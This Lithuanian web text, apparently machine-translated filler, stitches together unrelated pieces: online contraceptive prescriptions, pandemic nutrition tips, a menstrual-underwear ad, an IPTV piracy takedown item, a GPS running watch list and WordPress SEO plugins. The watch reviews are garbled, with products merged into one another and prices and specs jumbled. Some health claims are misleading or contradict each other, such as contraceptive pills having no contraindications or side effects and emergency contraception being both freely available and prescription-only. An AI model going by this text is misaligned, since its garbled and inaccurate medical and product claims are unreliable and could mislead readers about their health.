Kontraceptinės tabletės yra vienas populiariausių hormoninių kontracepcijos būdų. Moterys dažnai renkasi šį metodą, nes jis yra saugus, efektyvus ir, tinkamai pakoregavus, neturi kontraindikacijų ar šalutinių poveikių. Dviejų komponentų geriamosios tabletės kelia didelį susidomėjimą.
Jie sujungia estrogeno ir progesterono poveikį, o šie hormonai sustabdo ovuliaciją, t.y. neleidžia kiaušinėliams išsiskirti iš kiaušidžių. Jie taip pat keičia gleivių parametrus ir stabdo kiaušinėlių brendimą.
Daugelis moterų reguliariai vartoja kombinuotas kontraceptines tabletes, todėl jos vis labiau nori išrašyti receptą internetu. Žinoma, tai taip pat idealus būdas kritiniu atveju.
Kodėl moterys vartoja kontraceptines tabletes?
Kontraceptinių tablečių populiarumas pirmiausia susijęs su labai dideliu jų veiksmingumu. Štai kodėl jie suteikia saugumo jausmą. Jie taip pat reikalauja reguliaraus naudojimo ir yra prieinami tik pagal receptą.
Vis daugiau moterų, pasinaudodamos šiuolaikinėmis galimybėmis, užsisako kontraceptines tabletes internetu. Tai patogus ir praktiškas sprendimas situacijai, kai dėl įvairių priežasčių negalima gauti fizinio recepto.
Kaip ir bet kuriuo kitu atveju, teks pasikonsultuoti su gydytoju, kuris įvertins Jūsų sveikatos būklę ir nuspręs, ar yra kokių nors kontraindikacijų skiriant vaistą. Kontracepcijos receptas yra būtinas norint tęsti gydymą ir kai mums reikia vadinamųjų „po tablečių“.
Apsilankęs internetu, jis gauna eRecepty kodą, kuris suteikiamas vaistinėje kartu su PESEL numeriu. Jis siunčiamas SMS žinutėmis ir el. paštu, taip pat galima pasitikrinti paciento internetinėje paskyroje ir iš ten atsisiųsti eReceptą.
Užsisakykite konsultaciją internetu
Kontraceptines tabletes reikia vartoti reguliariai. Štai kodėl pacientai atkreipia dėmesį į tai, kad jie turėtų nuolatinę prieigą prie savo gydytojo. Šiuo metu receptų išrašymas internetu gali būti pratęstas, o tai labai palengvina gyvenimą pandemijos laikais.
Taip pat gali nutikti taip, kad kito vizito pas specialistą laukimo laikas labai ilgas arba mūsų gydytojas dėl įvairių priežasčių jo nepriima. Tuomet verta pasinaudoti nuotolinių klinikų pasiūla. Po ginekologo konsultacijos portale bus išrašytas internetinių kontraceptinių tablečių receptas.
Tai patogu, nereikia išeiti iš namų, o dokumentą išmaniajame telefone galite turėti per dvi valandas. Be to, klinikoje nereikia laukti eilėse, o pati konsultacija vyksta patogiomis sąlygomis. Be el. recepto, taip pat galite gauti medicininę konsultaciją.
Pandemijos metu toks kontaktas su specialistu ypač svarbus. Daugelis klinikų sustabdė savo veiklą, o pacientai, kurie nuolat naudojasi kontracepcija, pradėjo turėti problemų dėl galimybės patekti į specialistus ir, žinoma, vaistus.
Populiarios kombinuotos kontraceptinės tabletės
Norint gauti kontraceptinių tablečių receptą, būtina gydytojo konsultacija. Kol gydantis gydytojas be problemų pratęsia tokį įsakymą, naujajam specialistui kils nemažai klausimų, kurie pasitiks, ar nėra kontraindikacijų vartoti tokio tipo preparatus.
Verta nelaukti paskutinės tabletės apsilankymo pas gydytoją, nes tai gali baigtis nervingomis bet kokio sprendimo paieškomis, o ir streso nereikia. Galite pasinaudoti nuotolinėmis konsultacijomis, atsakyti į klausimus ir dėl to gauti reikalingų vaistų receptą internetu.
Tai gali būti lengvai įgyvendinta bet kurioje vaistinėje. Skubi kontracepcija tampa dar vienu atveju. Tai dar vienas pasirinkimas šalia hormoninės kontracepcijos ar mechaninės kontracepcijos metodų. Žinoma, tai, kuri vadinama tabletėmis kitą dieną, reikalauja recepto. Jis gali būti naudojamas per 3 dienas po nesaugaus lytinio akto.
Saugus kontraceptinių tablečių vartojimas
Skubioji kontracepcija (skubi arba skubioji) yra prieinama kiekvienoje vaistinėje. Norėdami jį pasiekti, turite turėti ginekologo arba šeimos gydytojo išduotą receptą. Svarbu tai, kad šiuo atveju laikas yra nepaprastai svarbus, nes tabletės veiksmingumas labai priklauso nuo jo vartojimo laiko.
Jei nepavyksta susitarti dėl vizito pas gydytoją, receptas internetu tampa vienintele išeitimi. Pasikonsultavę ar užpildę specialią anketą, esančią virtualios klinikos svetainėje, galite gauti užsakymą ir įsigyti paskirtų vaistų vaistinėje.
Skubi kontracepcija sumažina apvaisinimo riziką, nes atitolina kiaušinėlio išsiskyrimą. Sudėtyje esantys hormonai keičia ovuliacijos datą, todėl apvaisinimas daugeliu atvejų tampa neįmanomas.
Žinoma, tabletę reikia išgerti prieš embrionui įsitvirtinus gimdos sienelėje. Vaistinėse yra du tokio pobūdžio preparatai. Verta prisiminti, kad tai yra gana didelė investicija ir iš tikrųjų verta gydyti tokio tipo alternatyvą kritiniu atveju.
Kai laikas yra labai svarbus, konsultacijos internetu tampa geriausiu įmanomu sprendimu. Šis kontracepcijos metodas negali būti naudojamas reguliariai, o tik pagal poreikį. Šalutinis poveikis, susijęs, pavyzdžiui, su menstruacinio ciklo keitimu, gali būti šiek tiek varginantis.
Subalansuota mityba teigiamai veikia mūsų savijautą ir bendrą sveikatą, o tai ypač svarbu pandemijos metu. Daugelis žmonių yra linkę užkandžiauti, kai jaučiasi įtempti, nelaimingi ar nusivylę.
Pažiūrėkite, kaip sveikai maitintis, kad sustiprintumėte imunitetą ir pagerintumėte nuotaiką!
Kodėl verta ugdyti sveikos mitybos įpročius?
Sveika mityba veiksmingai palaiko organizmą kovojant su bakterijomis ir virusais. Subalansuotas valgiaraštis ne tik apsaugo nuo infekcijų, bet ir sumažina nutukimo, 2 tipo diabeto, širdies ligų, insulto ir tam tikrų vėžio rūšių riziką.
Tam tikri maisto produktai gali geriau paruošti organizmą mikrobų priepuoliams ir pasikartojantiems uždegimams, o kita vertus, mažai tikėtina, kad tam tikri maisto produktai apsaugos nuo mikrobų.
Kiekvienas imuninio atsako etapas yra pagrįstas daugelio mikroelementų buvimu. Tai reiškia, kad su maistu turėtumėte gauti reikiamą geležies, baltymų, seleno, cinko, vitamino C ir D kiekį. Šių ingredientų rasite įvairiuose gyvūniniuose ir augaliniuose produktuose.
Tyrimai rodo, kad perdirbtas maistas neigiamai veikia imuninę sistemą. Specialistai atkreipia dėmesį, kad dieta, kurioje yra daug raudonos mėsos ir cukraus, o tuo pačiu metu mažai vaisių ir daržovių, gali sukelti per didelį žarnyno bakterijų dauginimąsi. Be to, tai padidina lėtinio žarnyno uždegimo riziką, todėl mažėja imunitetas.
Kaip maitintis pandemijos metu?
Jei norite sustiprinti imunitetą, kasdien valgykite šviežią, neperdirbtą maistą. Taip aprūpinsite savo organizmą reikiamu vitaminų, mineralų, baltymų, antioksidantų ir skaidulų kiekiu.
Gerkite bent 2 litrus vandens per dieną, kad išvengtumėte dehidratacijos. Vanduo perneša maistines medžiagas, reguliuoja kūno temperatūrą, palaiko inkstų veiklą, suteikia sotumo jausmą, taip pat padeda pašalinti toksinus.
Taip pat galite gerti arbatas ir žolelių užpilus, taip pat vaisių ir daržovių kokteilius, tačiau venkite saldžių gazuotų gėrimų ir vaisių sulčių. Taip lengviau išlaikyti sveiką svorį, ypač jei daug laiko praleidžiate sėdėdami namuose.
Praturtinkite savo mitybą nesmulkintais grūdais, riešutais, sėklomis ir sveikais riebalais, tokiais kaip alyvuogių aliejus, sezamas ir riebi žuvis. Įtraukę šiuos produktus į savo valgiaraštį sustiprinsite savo imuninę sistemą.
Nors jums gali kilti pagunda valgyti saldžių ar riebių užkandžių, kai jaučiate stresą, pabandykite palaipsniui juos atsisakyti. Pasiekite skrudintus avinžirnius, saują riešutų ar sveikų daržovių ar vaisių traškučių, kurių dėka sumažinsite tuščių kalorijų kiekį.
Kaip rūpintis imunitetu?
Dieta, kurioje yra daug skaidulų, daržovių, vaisių, ankštinių augalų ir nesmulkintų grūdų, skatina gerųjų bakterijų augimą ir palaikymą žarnyne. Naudingi mikrobai skaido skaidulas į trumpos grandinės riebalų rūgštis, taip stimuliuodami imuninių ląstelių veiklą.
Probiotikuose yra gyvų naudingų bakterijų, o prebiotikai yra geras oligosacharidų ir skaidulų šaltinis žarnyno mikroflorai palaikyti.
Probiotiniai produktai yra kefyras, silosas, kombucha, tempeh, miso, kimchi ir natūralus jogurtas su gyvų bakterijų kultūromis. Kita vertus, natūralūs prebiotikų šaltiniai yra bananai, šparagai, jūros dumbliai ir žali kiaulpienių lapai. Šiai grupei taip pat priklauso porai, česnakai, svogūnai ir topinambai.
Meniu koronaviruso pandemijos metu
Svarstote, kaip padėti savo organizmui kovoti su virusais? Kasdien suvalgykite 5 porcijas daržovių ir 4 porcijas vaisių, taip pat 180 g dribsnių. Būkite atsargūs ir neperkepkite daržovių, nes kitaip atsikratysite svarbių maistinių medžiagų. Paukštieną galite valgyti 2–3 kartus per savaitę, o raudoną mėsą – 1–2 kartus per savaitę.
Tyrimai rodo, kad alinas, veiklioji česnako medžiaga, susmulkinus virsta alicinu. Aktyvi aliino forma garsėja savo antimikrobinėmis ir antivirusinėmis savybėmis. Tyrėjai taip pat teigia, kad žaliojoje arbatoje esantys katechinai neleidžia daugintis peršalimo ir gripo virusams. Be to, jie stiprina imuninę sistemą, todėl sumažina infekcijos riziką.
Šiais sunkiais laikais verta išbandyti dietinį maitinimą, kuris ruošiamas laikantis aukščiausių saugos taisyklių. Užsisakę tokią paslaugą kiekvieną dieną gausite skanų ir subalansuotą maistą, palaikantį mūsų formą ir sveikatą.
Ar žinojote, kad moteris per gyvenimą sunaudoja apie 130 kg higieninių servetėlių ir tamponų? Skaičiavimai ir statistika rodo, kad 2050 metais mūsų planeta skęs šiukšlėse.
Jei svarstote apie ekologiškesnį sprendimą savo mėnesinėms, tai jums puiki vieta. Sužinokite apie mūsų WIMIN menstruacines kelnaites.
Kas yra menstruacinės kelnaitės ir kaip jos veikia?
Menstruaciniai apatiniai yra būtent tai, ką rodo pavadinimas – tai kelnaitės, kurias dėvime menstruacijų metu ir vėliau. Jie pakeičia kitas higienos priemones, tokias kaip higieninės servetėlės, tamponai ar menstruacinė taurelė.
Tai ne tik taupo pinigus, bet ir yra itin patogu. Paprasčiausiai apsivelkame kelnaites ir nereikia jaudintis, kad kažkas nutekės, dirgins ar trins.
Dėl menstruacinių kelnaičių dažnai kyla abejonių ir klausimų dėl sugeriamumo. Juk tai apatinis trikotažas – mūsų galva tai visada bus gana plona ir nelabai sugerianti medžiaga.
Asociacijos su trumpikėmis, kurias dėvime kasdien, yra pateisinamos dėvėjimo patogumo požiūriu, tačiau menstruaciniai modeliai turi daug didesnį sugeriamumą, kuris atsiranda dėl jų „konstrukcijos“.
Jie turi kelis sluoksnius, kurie puikiai sugeria sekretą – WIMIN kelnaičių atveju viena pora prilygsta keturiems tamponams.
WIMIN menstruacinės kelnaitės yra tokios plonos, kad nesijaučia kaip su sauskelnėmis ar pagalvėlėmis, o tai labai malonus jausmas. Jų aukštas juosmuo gražiai formuoja ir išryškina figūrą, o tinklinių intarpų dėka oda kvėpuoja.
Medvilninis sluoksnis viduje taip pat patogus, tas, kuris tiesiogiai liečiasi su kūnu. Į kraują įsigeriantis vidpadis yra įsiūtas – niekas neturi teisės judėti, todėl jūsų naktys gali būti ramios. Įdėklas yra iki apačios:
Menstruaciniai apatiniai turi daug kitų privalumų:
tai ekologiška ir ekonomiška, nes naudojame daug kartų,
suteikia sausumo pojūtį ir nenuteka,
yra diskretiška ir patogi apsauga per laikotarpį,
miegant nejuda, dėl įsiūto įdėklo, kurio užduotis – sugerti kraują. Dėl dėmių apsaugančio sluoksnio niekas neišnyks,
jį galima nešioti esant šlapimo nelaikymo problemoms, gimdymo metu, fizinio aktyvumo metu arba, jei reikia, po lytinių santykių,
puikiai prisitaiko prie kūno, todėl prieš užsakant verta pasitikrinti dydį ir atidžiai pasimatuoti. Tai užtikrins 100% komfortą,
jų sugeriamumas suteikia mums komfortą ir patogumą iki 12 valandų,
yra higieniškas ir sveikas sprendimas odai.
WIMIN menstruacinės kelnės taip gerai sugeria, kad daugiau nieko nereikia. Tikrai! O jei netikite, visada galite jais palaikyti menstruacinę taurelę. Laikui bėgant pamatysite, kad kelnaitės yra patikimos.
Kaip dažnai keičiate menstruacines kelnaites?
Iš savo stebėjimų ir pokalbių su merginomis žinome, kad kelnaičių patvarumas lengvesnėmis periodinėmis dienomis siekia iki 12 valandų. Gausesnėmis dienomis tai priklauso nuo mūsų kūno individualiai – kai kurie jaučiamės patogiai juos dėvėdami 8 valandas, o kai kurie keičiasi net kas 6 valandas.
Todėl turėti dvi poras yra geras pasirinkimas. Kai manote, kad reikia juos pakeisti, visada turite antrą porą sandėlyje.
Kaip prižiūrėti menstruacines kelnaites?
Vadovaukitės paprasta etiketėje pateikta instrukcija: jei jas naudojate mėnesinių ar gimdymo metu, po naudojimo patartina nuplauti šaltame vandenyje. Kitu atveju (pvz., po treniruotės) tai nėra būtina. Tada išskalbi skalbimo mašinoje su kitais daiktais (40 laipsnių C temperatūroje), išdžiovini pakabinus ir vėl galėsi nešioti.
Svarbu: Nepamirškite nedžiovinti kelnaičių džiovyklėje, ant radiatoriaus ir nebandyti „paspartinti“ džiūvimo lygintuvu ar džiovintuvu (taip, mes taip pat žinome šiuos „patentus“, bet jie neturi teigiamo poveikio sugėrikliui kelnaičių sluoksnis).
Tinkamai prižiūrint, kelnaitės tarnaus ilgus metus! Motina Žemė ir tavo pūlingas tau padėkos. Daugkartiniai daiktai dabar madingi!
Puikus pavyzdys yra WIMIN menstruacinės kelnaitės, kurios yra pritaikytos moterų sveikatos poreikiams. Juodos kelnaitės aukštu juosmeniu suteikia komforto menstruacijų ir gimdymo metu, fizinio aktyvumo ar šlapimo nelaikymo problemų metu.
Juos sukūrėme galvodami apie kiekvieną iš jūsų – svetainėje rasite dydžius nuo XXS iki XXL. Menstruaciniai apatiniai buvo pagaminti Lenkijoje, iš lenkiškų medžiagų su OEKO-TEX sertifikatu.
Jei tau svarbu rūpintis aplinka, WIMIN kelnaitės bus puikus pasirinkimas. Tai gaminys, siūlantis mūsų planetai patogumą dėvėti, maksimalų sugeriamumą, elegantišką išvaizdą ir atokvėpį.
Ko daugiau gali norėti? Išbandykite mūsų menstruacinius apatinius ir įsitikinkite patys, kad tai puikus produktas, kurį mėgsite ilgai.
„Ace“ perima „Iptvbox.plus“ ir „PlanetaTvonlineHd.com“, Billas Toulas – 2019 m. lapkričio 11 d. Platformos siūlė kelis dolerius per mėnesį už tūkstančius populiarių televizijos kanalų ir serialų. Šiandien pasaulinė įsilaužimo scena sulaukia daugiau hitų, nei galėtų apimti, tačiau ji vis dar stipri. Ace (Alliance for Creativity and Entertainment) tęsia kovą su piratinėmis platformomis ir kasdien pranešame apie mažas ar dideles jų pergales. Šį kartą jie pašalino Iptvbox.plus ir PlanetaTvonlineHd.com. Svetainės dabar nukreipia į Ace puslapį, kaip ir reikalaujant domeno. Tai reiškia, kad dvi garsios Iptv įsilaužimo svetainės pasiekė kelio galą ir mažai tikėtina, kad pamatysime, kad jos išgyventų arba persikels į naują domeną. Jei Ace taikosi į svetainę, jie tai daro metodiškai ir paprastai suplanuoja operatorių areštą. Išmaniojo laikrodžio kūno rengybos apyrankės gali padėti išlikti fiziškai gerai ir tvarkyti savo dienos tvarkaraštį daug intuityviai nei išmanusis telefonas, bet ką daryti, jei visada norėjote kažko, kas būtų geriausias iš abiejų pasaulių? Prisijunkite prie laikrodžių, kurie veikia su GPS. Tokie laikrodžiai nėra jūsų vidutinis išmanusis laikrodis, tačiau juose yra įvairių programėlių, kurios siūlo dar išsamesnę sveikatos statistiką ir treniruočių instrukcijas. GPS bėgimo laikrodis turi daugybę jutiklių, įskaitant kompaso širdies ritmo stebėjimo giroskopus, barometrą, aukščiamatį, akselerometrą ir kt. GPS bėgimo laikrodis suteikia visą svarbią informaciją, kurios vienu metu reikia rimtiems ir profesionaliems sportininkams. , siūlo išmaniojo laikrodžio programas, pvz. kaip laikrodžio ciferblato nustatymo programinė įranga, valdikliai ir reakcija į įspėjimus. Išsirinkti geriausią GPS bėgimo laikrodį, atitinkantį jūsų poreikius, gali būti gana sudėtinga užduotis, tačiau jei atsižvelgsite į šiuos dalykus, jį nusipirkti gali būti labai naudinga. Visų pirma, bet kurio fizinio aktyvumo monitoriaus jutiklių tikslumas yra labai svarbus. Daugelis širdies ritmo monitorių yra įmontuoti, tačiau ne visi yra labai tikslūs, o kai kurie neveikia po vandeniu. Tokiais atvejais svarbu turėti GPS bėgimo laikrodį, kuris sinchronizuojasi su širdies ritmo stebėjimo juostele. GPS stebėjimas yra pagrindinė funkcija, todėl jūs taip pat turite tai padaryti teisingai. Kai kurie laikrodžiai rodo išsamią informaciją apie reljefą, o kiti rodo tik vieną maršrutą žemėlapyje. Jūs turite nuspręsti dėl išsamumo lygio, nes tai labai priklauso nuo jūsų mokymo poreikių. Taip pat svarbios geros sinchronizavimo galimybės su „Android“ išmaniuoju telefonu arba „iOs“ ir pranešimų srautinis siuntimas iš telefono į laikrodį. Baterijos veikimo laikas yra daugumos išmaniųjų laikrodžių košmaras, tačiau GPS laikrodžių baterijos veikimo laikas paprastai yra ilgesnis nei vidutinių išmaniųjų laikrodžių. Atsižvelgdami į šiuos veiksnius, mes sutelkėme dėmesį į kai kuriuos geriausius GPS bėgimo laikrodžius rinkoje. Taigi čia yra 10 geriausių GPS bėgimo laikrodžių, kuriuos galite įsigyti 2019 m. 1. Garmin Forerunner 645 Music
Pasiūlyti 108 Garmin Forerunner 645 Muzikos funkcijos: GPS / Glonass Wi-Fi Išmanieji pranešimai Treniruotės apkrova Širdies ritmas ant riešo Garmin Pay muzikos saugykla Ekrano skiriamoji geba: 240 x 240 pikselių Matmenys (P x A x G): 1,7 x 1,7 x 0,5 colio $ 449,99? 140,29 USD 309,70 USD Garmin Forerunner 645 yra vienas geriausių GPS bėgimo laikrodžių už mažiau nei 500 USD per dieną). Norėdami tai padaryti, jis taip pat veikia su tam tikromis srautinio perdavimo neprisijungus paslaugomis. Forerunner 645 yra su integruotu Nfc, todėl galite atlikti bekontakčius mokėjimus tiesiai iš laikrodžio. Gaunate platų biomechaninės statistikos spektrą, kuris padės jūsų treniruotėms, įskaitant sąlyčio su žeme laiką ir vertikalių svyravimo bei vertikalių santykių ilgio ir ritmo pusiausvyrą. Yra net anaerobinių treniruočių ir atsigavimo informacijos, kuri padės greitai susidaryti vaizdą apie dabartinį savo kūno rengybos lygį. „Garmin’s Connect Iq Store“ yra vienas langelis, kuriame galite įdiegti programinės įrangos valdiklius ir peržiūrėti „Forerunner 645“ aukštyn kojomis. Galiausiai šis GPS bėgimo laikrodis tikrai vertas kainos ir siūlo platų treniruočių spektrą bei gerą baterijos veikimo laiką. Dažniausiai tokiose programose kaip numatytasis laikrodžio ciferblatas yra nedidelių nesklandumų, kurie neatskleidžia širdies ritmo ir neteisingų ramybės pulso matavimų, tačiau juos galima lengvai pašalinti atnaujinus programinę įrangą. Taip pat galbūt norėsite investuoti į geresnę apyrankę, nes pagal numatytuosius nustatymus ji gali greitai susitepti. Suvart: nedideli apyrankių programų trikdžiai lengvai pažeidžiami
2. Polar V800
109 Savybės: Integruotas GPS ir barometras Sportui būdingi profiliai Plaukimo metrika Treniruotės nauda Neaktyvumo įspėjimai Platformos palaikymas: „iOs Android“ žiniatinklio ekrano skiriamoji geba: 128 x 128 pikseliai Matmenys (P x A x G): 3 x 5 x 2 colių Jei esate Sporto entuziastas ar profesionalus sportininkas Polar V800 yra geras GPS bėgimo laikrodis. „Polar V800“ nesiūlo puošnių laikrodžių ciferblatų ar valdiklių, tačiau turi tinkamus pagrindus. GPS laikrodis gali sekti visas jūsų treniruotes ir pasiūlyti įvairių statistinių duomenų, padedančių pagerinti rezultatus. „Polar V800“ integruotas širdies ritmo monitorius užtikrina tikslius rodmenis kiekviename poilsio ir pratybų žingsnyje, įskaitant plaukimą. Taip pat galite išplėsti V800 universalumą, derindami jį su Bluetooth išmaniaisiais dviračių ir bėgimo jutikliais arba trečiųjų šalių energijos matuokliais Suunto Spartan Ultra Hr funkcijos: 80 sporto režimų, 100 m atsparumas vandeniui Suderinamumas su išoriniais dviračio ir galios jutikliais Platformos laikiklis : Android iOs Windows 10 Mobiliojo telefono ekrano skiriamoji geba: nepalaikoma Matmenys (plotis x aukštis x gylis): 3,6 x 5,1 x 3,7 colio Bendras Suunto Spartan Ultra Hr našumas yra pagirtinas. Iki šiol nėra jokių sinchronizavimo ar atnaujinimo problemų. Galite atsisiųsti papildomų laikrodžio ciferblatų, tačiau yra apribojimas, kad iš tikrųjų negalite pasirinkti komplikacijų tam tikram laikrodžio ciferblatui. Taip pat būtų buvę puiku, jei „Spartan“ būtų suteikęs būdą atsakyti į išmaniojo telefono pranešimus, o ne tik juos rodyti. Argumentai „už”: geras sekimo gebėjimas Didelis atsparumas vandeniui Trūkumai: Laikrodžio ciferblatai nepritaikomi. Negali reaguoti tiesiai iš laikrodžio
4 prie pranešimų. „Polar Ignite 111“ pasiūlymas „Polar Ignite“ ypatybės: „Polar“ tikslus širdies ritmo monitorius Kasdienio miego treniruotės vadovas Naktinis įkrovimas Pažangus miego stebėjimas Integruota GPS platformos palaikymas: „Android iOS“ darbalaukio ekrano skiriamoji geba: 204 x 204 pikseliai 229,95 USD? 34,50 USD 195,45 USD „Polar Ignite“ yra gera alternatyva „Garmin“ ir „Fitbit“ pasiūlymams, taip pat gera alternatyva tankinimui. „Ignite“ siūlo viską, ko gali tikėtis kūno rengybos laikrodis, įskaitant stebėjimo pratimus, tokius kaip bėgimas, važiavimas dviračiu, plaukimas ir kt. Tačiau „Ignite“ išsiskiria iš GPS bėgimo laikrodžių jūros, siūlydama išsamią informaciją apie sveikatą ir sekdama miegą bei atsigavimą. „Polar Ignite“ yra gerai padaryta. Puikiai priglunda prie riešo ir visai nesveria. „Ignite“ turi 204 x 204 pikselių ekraną, kurį galima skaityti bet kokiomis apšvietimo sąlygomis. Sąsają lengva naršyti, nors kai kurie vartotojai gali pastebėti, kad reakcija į prisilietimą gali šiek tiek užtrukti čia ir ten. Vartotojai gali rinktis iš įvairių išankstinių nustatymų ir sporto profilių. Taip pat yra „FitSpark“ treniruočių vadovas, kuris gali padėti jums treniruotis, kartu su „Nightly Recharge“ sekikliu, kuris seka jūsų miegą. Treniruotės treniruotės „FitSpark“ pritaiko ir rekomenduoja pratimus, atsižvelgdami į jūsų dabartinį kūno rengybos ir veiklos lygį. Naudodama širdies ritmo ir kvėpavimo dažnio derinį, naktinio įkrovimo funkcija lygina ją su paskutiniu miego seansu, kad žinotumėte, kaip gerai atsigaunate. Ši informacija pateikiama lengvai suprantamu būdu. „Polar Ignite Gps“ yra labai tikslus ir puikiai atlieka savo darbą už tokią kainą. Polar Precision Prime širdies ritmo monitorius atlieka puikų darbą tiksliai sekdamas širdies ritmą. Tinkamo kontakto su oda efektyvumui išmatuoti naudojamas devynių optinių bangų ilgių derinys ir elektrinis jutiklis. „Polar Ignite“ sukurtas fitnesui, todėl nerasite tokių programėlių kaip „Spotify“ ar „Twitter“. Tačiau susieję su išmaniuoju telefonu vis tiek galite gauti skambučių, žinučių ir programų pranešimus. Ar „Polar Ignite“ baterijos veikimo laikas labai geras? Įprastu išmaniojo laikrodžio režimu gaunate iki 17 valandų, kai įjungtas GPS ir širdies ritmas, ir iki savaitės. „Polar Ignite“ yra geriausias pasirinkimas tiems, kurie ieško geriausio GPS bėgimo laikrodžio, turinčio daugybę stebėjimo funkcijų, nepažeidžiant banko. Argumentai „už”: platūs treniruočių metodai Miego stebėjimas Ilgas baterijos veikimo laikas Trūkumai: Širdies ritmo monitorius kartais gali būti nenuoseklus. Apple Watch Series 5 (Gps)
Kaina 112 Apple Watch Series 5 (Gps) Savybės: Apple S5 lusto atmintis 32 Gb (1000 nitų) Retina Oled Visada veikiantis ekranas 18 valandų baterijos veikimo laikas Atsparus vandeniui 50 m Trūkumai: Nėra naujų stebėjimo funkcijų, sveika, palyginti su paskutine karta
6. Fitbit Ionic
Produkto funkcijos 113: Gps / Glonass Wi-Fi FitbitOs mokymas ekrane Atsparumas vandeniui iki 50 m Programėlių pranešimai Bluetooth 4.0 platformos palaikymas: Android iOS Ekrano skiriamoji geba: 348 x 250 pikselių Matmenys (P x A x G): 1,5 x 1,14 x 0,47 colio 249,95 USD? 70,96 USD 178,99 USD Tie, kurie renkasi patikimą kūno rengybos stebėjimo priemonę, o ne išmanųjį laikrodį, gali rasti „Fi-Tracker Fi“. Sąsaja reaguoja su puikiomis stebėjimo funkcijomis, o akumuliatoriaus veikimo laikas taip pat ilgesnis nei vidutinio išmaniojo laikrodžio. Privalumai: tikslus stebėjimas Puikus vaizdas Trūkumai: nėra
7 kaip toks. Garmin Forerunner 935 Give 114 Garmin Forerunner 935 Savybės: GPS laikrodis bėgimui / triatlonui Išplėstinės bėgimo ir kelių sporto šakų funkcijos Bėgimo, važiavimo dviračiu ir plaukimo dinamika Programų suderinamumas: Android iOS Ekrano skiriamoji geba: 240 x 240 pikselių 499,99 USD? 136,80 USD 363,19 USD GPS bėgimo laikrodis įkeltas, klientų, galinčių teigti, kad juos domina, yra labai mažai. „Forerunner 935“ yra pakrautas iki kraštų su jutikliais, rodančiais širdies ritmo monitorių, barometrą, aukščiamatį, GPS ir kompasą. Be išsamios treniruočių statistikos, taip pat gausite rodiklius, rodančius, ar treniruojatės per mažai ar per daug, ir pažangios dinamikos, įskaitant vertikalaus siūbavimo ilgį ir vertikalaus santykį. Jei esate kelių sporto šakų ar triatlono atletas, turite daug individualių treniruočių galimybių, galite iš karto perjungti sporto šakas vienu mygtuko paspaudimu. Forerunner 935 taip pat siūlo daug išmaniojo laikrodžio funkcijų, įskaitant galimybę atsisiųsti naujų programų ir laikrodžio ciferblatų arba bendrinti…
Yra daugybė „WordPress” SEO įskiepių ir gali būti sunku žinoti, kuriuos iš jų įdiegti. Toliau pateikiami keli geriausi „WordPress” SEO įskiepiai.
SEO paketai
Yra nemažai „WordPress” SEO įskiepių, kuriuose yra daug pritaikomų funkcijų:
Vienas žinomiausių „WordPress” SEO įskiepių, kuris atlieka po truputį viską ir gali būti naudojamas „iš dėžutės”. Yra mokama versija, skirta SEO profesionalams.
FV All In One SEO Pack – supaprastinta pirmiau minėto įskiepio versija su supaprastinta sąsaja.
Platinum SEO Pack – pagrįstas All in One SEO Pack, tačiau labiau išplėstinis.
Headspace2SEO – Galingas įskiepis, skirtas meta duomenims tvarkyti ir įvairioms SEO užduotims atlikti.
SEO Ultimate WordPress Plugin – „viskas viename” įskiepis su daugybe galingų funkcijų.
Greg’s High Performance SEO – daug funkcijų, dėl kurių nereikia naudoti kai kurių toliau nurodytų įskiepių.
Aukščiau pateiktas sąrašas nėra baigtinis ir vis atsiranda naujų daugiafunkcinių „WordPress SEO” įskiepių. Taigi, kurį įdiegti? Pirma, būkite atsargūs diegdami įskiepius, kurie vis dar yra beta versijoje, antra, nuspręskite, kiek norite įsitraukti į SEO paslaugas .
Jei nesate tikri, „All In One SEO Pack” yra geras atspirties taškas. Jis yra labai populiarus, tai rodo ir pažangesni įskiepiai, suteikiantys perėjimo kelią.
Kiti WordPress SEO įskiepiai
Jei šių įskiepių funkcijos neįtrauktos į jūsų SEO paketo įskiepį, naudingi šie įskiepiai:
„Google XML Sitemaps” – generuoja svetainės žemėlapį, kurį palaiko „Google”, „Bing” ir „Yahoo”. Leidžia paieškos sistemoms greitai rasti ir indeksuoti turinį.
SEO Slugs – paprastas įskiepis, kuris pašalina dažniausiai pasitaikančius žodžius iš slugs (failų pavadinimų). URL adresus padaro patogesnius paieškos sistemoms.
SEO Smart Links – Automatiškai generuoja vidines ir išorines nuorodas jūsų turinyje (išorinės nuorodos gali būti nesekamos). Tokios nuorodos padidins jūsų puslapio SEO.
SEO draugiški paveikslėliai – automatiškai atnaujina visus paveikslėlius su tinkamais ALT ir TITLE atributais. Tai gali būti labai naudinga SEO tikslais.
WP-Super-Cache – pagreitina puslapių pateikimą, nes turi statinę kopiją, kad būtų išvengta duomenų bazės skambučių. Svarbu, nes lėtas puslapių įkėlimas neigiamai veikia paieškos sistemų pozicijas.
Peradresavimas – tvarko 301 nukreipimą ir stebi 404 klaidas, kurias galima nukreipti.
SEOPressor – analizuoja puslapius ir pranešimus ir pateikia turinio optimizavimo ataskaitas su rekomendacijomis. SEO tikslais labai svarbu, kad paieškos sistemos matytų, jog jūsų turinys yra labai tinkamas tiksliniams raktažodžiams.
Galbūt recesija ir baigėsi, tačiau nedarbas tebėra daugelio žmonių problema. Daugelis įmonių vis dar stengiasi atsistoti ant kojų. Kai kuriose vietovėse galima pamatyti tuščias biurų patalpas, kuriose kadaise klestėjo sėkmingos įmonės. Yra net tokių įmonių, kurios nusprendžia atidėti veiklos atnaujinimą neribotam laikui, nes šioje pramonės šakoje sėkmės garantijos yra menkos arba jų nėra. Neseniai prasidėjusio ekonominio nuosmukio padariniai tikrai dar nesibaigė.
Recesija taip paveikė visuomenę, kad daugelis žmonių atsidūrė gerų, gerai apmokamų darbų paieškose. Laisvų darbo vietų darbo rinkoje yra, tačiau ne visi darbai yra patikimi nuolatinių pajamų šaltiniai. Daugeliui žmonių norisi realių pajamų gavimo galimybių, nesvarbu, ar tai būtų darbas, ar pradedamas verslas.
Tačiau kodėl yra žmonių, kurie, atrodo, uždirba didelius pinigus nepaisant nuosmukio?
